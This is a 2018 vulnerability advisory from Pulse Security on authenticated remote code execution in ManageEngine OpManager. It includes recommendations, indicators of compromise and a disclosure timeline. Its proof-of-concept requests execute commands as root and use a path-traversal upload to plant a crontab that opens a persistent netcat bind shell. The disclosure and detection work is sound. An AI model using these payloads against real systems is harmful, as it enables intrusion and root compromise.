Pulse Security

VULNERABILITY ADVISORY

Title	ManageEngine OpManager – Multiple Authenticated RCE Vulnerabilities
Date Released	19/06/2018
Author	Denis Andzakovic
Vendor Website	https://www.manageengine.com/network-monitoring/
Affected Software	ManageEngine OpManager

SUMMARY

Pulse Security has identified two vulnerabilities in the ManageEngine OpManager software currently being exploited in the wild, and one observational note. This document details the vulnerabilities and the indicators of compromise that may be used to identify these exploits.

The remote code execution vulnerabilities were confirmed against build 123148. Pulse Security are not aware of an official patch to address these vulnerabilities.

The `testNewScriptTemplate` API was used by attackers in the wild to execute arbitrary commands after gaining initial access to the OpManager installation. The `testNewScriptTemplate` API is used to execute scripts on OpManager managed hosts and is intended functionality. The `uploadMib` API was also leveraged by attackers to upload files. The `uploadMib` endpoint is vulnerable to directory traversal and may be used to overwrite files and gain code execution. Additionally, the `mobileNativeLogin` API uses passwords submitted via the HTTP `GET` parameter, which exposes this information in the OpManager access log.

This advisory should not be considered a definitive list of vulnerabilities within OpManager. Additional vulnerabilities and intended functionality allowing for arbitrary command execution likely exist.

RECOMMENDATIONS

All the vulnerabilities detailed in this document require authentication. The OpManager installation ships with multiple default user accounts and passwords, which increases the likelihood of exploitation. Additionally, OpManager does not implement brute force protection for these accounts. Pulse Security recommends changing the password for the `admin` user, removing the `trialuserlogin` account and ensuring the `IntegrationUser` account cannot login. Users who have upgraded from an earlier version of OpManager may still have the `IntegrationUser` enabled. Access logs should be monitored for any unauthorized access attempts.

The OpManager server should be adequately defended with network layer access controls and application logfile monitoring. As the OpManager stores credentials for services such as WMI and VMWare logins in a reversible encryption format, there is a high risk of further environment compromise after the attacker compromises the OpManager application.

VULNERABILITIES

testNewScriptTemplate Command Execution

The `testNewScriptTemplate` API allows OpManager user to execute arbitrary commands. The following figures details the request used to execute arbitrary commands on the OpManager host. This vulnerability was tested on an OpManager Linux installation.

COMMAND EXECUTION – POC REQUEST

```
POST /api/json/admin/testNewScriptTemplate?apiKey=<valid API key> HTTP/1.1
Host: 192.168.38.159
Content-Length: 193
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close

scriptTemplateName=test&interval=15&yaxisText=units&commandLine=/bin/bash -e
${FileName}&scriptBody=#!/bin/bash%0aid&timeout=10&executeFrom=Local&workingDir=%2Fvar%2Ftm
p%2F&deviceName=opmanager
```

COMMAND EXECUTION – POC RESPONSE

```
HTTP/1.1 200
_ommited_

{"message":"","dataMap":{},"rawoutput":"uid=0(root) gid=0(root)
groups=0(root)","exitCode":0}
```

Note that for the request to succeed the target device needs to have a non-null type. The `opmanager` device's type was set to an arbitrary string using the following request

SET DEVICE TYPE

```
POST /api/json/device/UpdateDeviceDetails?apiKey=<valid API key> HTTP/1.1
Host: 192.168.38.159
Content-Length: 198
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close

name=opmanager&category=Unknown&TcpPortNumber=0&displayName=Opmanager&ipAddress=192.168.38.
159&vendor=Vmware&Dependency=None&type=Whatever&ramSize=0&hardDiskSize=0&Encoding=ISO-8859-
1&pollUsing=ICMP
```

uploadMib File Upload

The `uploadMib` API endpoint allows for path traversal and the creation of files with no extension. This allows a malicious user to overwrite files as the root user. The following POC uploads a crontab configuration that creates a persistent bind shell. Two minutes must elapse between the upload and a bind shell being established.

UPLOADMIB FILE UPLOAD AND PATH TRAVERSAL - REQUEST

```
POST /api/json/mibbrowser/uploadMib?apiKey=<valid API key> HTTP/1.1
Host: 192.168.38.159
Content-Length: 449
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyFV62c116f93bfaA
Connection: close

------WebKitFormBoundaryyFV62c116f93bfaA
Content-Disposition: form-data; name="mibFile";
filename="../../../../../../etc/cron.d/opman"
Content-Type: application/octet-stream

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * *   root  test -p /dev/shm/pipe && /bin/bash < /dev/shm/pipe 2>&1 | nc -l -p 4132 >
/dev/shm/pipe 2>/dev/null || mkfifo /dev/shm/pipe

------WebKitFormBoundaryyFV62c116f93bfaA--
```

UPLOADMIB FILE UPLOAD AND PATH TRAVERSAL – BIND SHELL

```
:~$ nc -v 192.168.38.159 4132
Connection to 192.168.38.159 4132 port [tcp/*] succeeded!
id
uid=0(root) gid=0(root) groups=0(root)
```

mobileNativeLogin Password in GET Request

The `mobileNativeLogin` endpoint, used by the OpManager mobile application, expects passwords submitted via a HTTP GET parameter. This behavior exposes the passwords in the OpManager `access_log.txt` file. An attacker who has compromised the OpManager server may leverage this behavior to gain further access in the wider environment.

The following figure shows an excerpt of the `access_log.txt` file containing the cleartext passwords:

CLEARTEXT PASSWORDS IN LOG FILES

```
192.168.38.182 - - [08/Jun/2018:10:55:32 +1300] "POST
/mobileNativeLogin?password=MyPassword&userName=user@mydom.com HTTP/1.1" 200 212
```

This vulnerability was allegedly fixed in the 12300 release.

INDICATORS OF COMPROMISE

The following section details the example log file entries for detecting the above vulnerabilities.

testNewScriptTemplate Command Execution

LOGS/ACCESS_LOG.TXT

```
192.168.38.162 - - [08/Jun/2018:04:09:53 +0000] "/api/json/admin/testNewScriptTemplate" 200
105
```

The `opmanager_serverOut_0.txt` file contains significant information concerning the script execution, however this log file rolls over frequently.

LOGS/OPM/OPMANAGER_SERVEROUT_0.TXT

```
[04:14:52:844]|[06-08-2018]|[com.adventnet.opmanager.opmservout]|[INFO]|[378]:
OpManagerAPIServlet:: processRequest:: uri : /admin/testNewScriptTemplate|
[04:14:52:848]|[06-08-2018]|[com.adventnet.opmanager.opmservout]|[INFO]|[378]: SCRIPT::
ExecuteScriptHandler:: executeScript: opmanager|
[04:14:52:849]|[06-08-2018]|[com.adventnet.opmanager.opmservout]|[INFO]|[378]: SCRIPT::
ExecuteScriptHandler:: fileNameWithExt: /var/tmp/OpManager_0_1528431292849|
[04:14:52:855]|[06-08-2018]|[com.adventnet.opmanager.opmservout]|[INFO]|[378]: SCRIPT::
ExecuteScriptHandler:: Command to execute: /bin/bash -e OpManager_0_1528431292849|
[04:14:52:864]|[06-08-2018]|[com.adventnet.opmanager.opmservout]|[INFO]|[378]: SCRIPT::
ExecuteScriptHandler:: Script execution finished. ScriptID:0; Script Result:{Data={},
message=, RawData=Linux opmanager 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC
2018 x86_64 x86_64 x86_64 GNU/Linux, scriptID=0, exitcode=0}|
[04:14:52:865]|[06-08-2018]|[com.adventnet.opmanager.opmservout]|[INFO]|[378]:
OpManagerAPIServlet:: Request uri : /admin/testNewScriptTemplate & processing time : 21|
```

The `testNewScriptTemplate` API creates temporary files which are executed. The attacker may place their payload either in the `commandLine` or `scriptBody` parameters. The temporary files are unlinked after the commands are executed, however filesystem analysis can retrieve these files. An attacker may avoid having the malicious `scriptBody` retrieved by leveraging a `tmpfs` filesystem, such as `/dev/shm`.

uploadMib File Upload

LOGS/ACCESS_LOG.TXT

```
192.168.38.162 - admin [08/Jun/2018:04:23:10 +0000] "/api/json/mibbrowser/uploadMib" 200
106
```

LOGS/OPM/OPMANAGER_SERVEROUT_0.TXT

```
[04:23:09:952]|[06-08-2018]|[com.adventnet.opmanager.opmservout]|[INFO]|[380]:
OpManagerAPIServlet:: processRequest:: uri : /mibbrowser/uploadMib|
[04:23:10:001]|[06-08-2018]|[com.adventnet.opmanager.opmservout]|[INFO]|[380]:
OpManagerAPIServlet:: Request uri : /mibbrowser/uploadMib & processing time : 49|
```

TIMELINE

11/06/2018 - Initial email to Zoho

12/06/2018 - Advisory document sent to Zoho

12/06/2018 - Acknowledgement from Zoho

19/06/2018 - Advisory release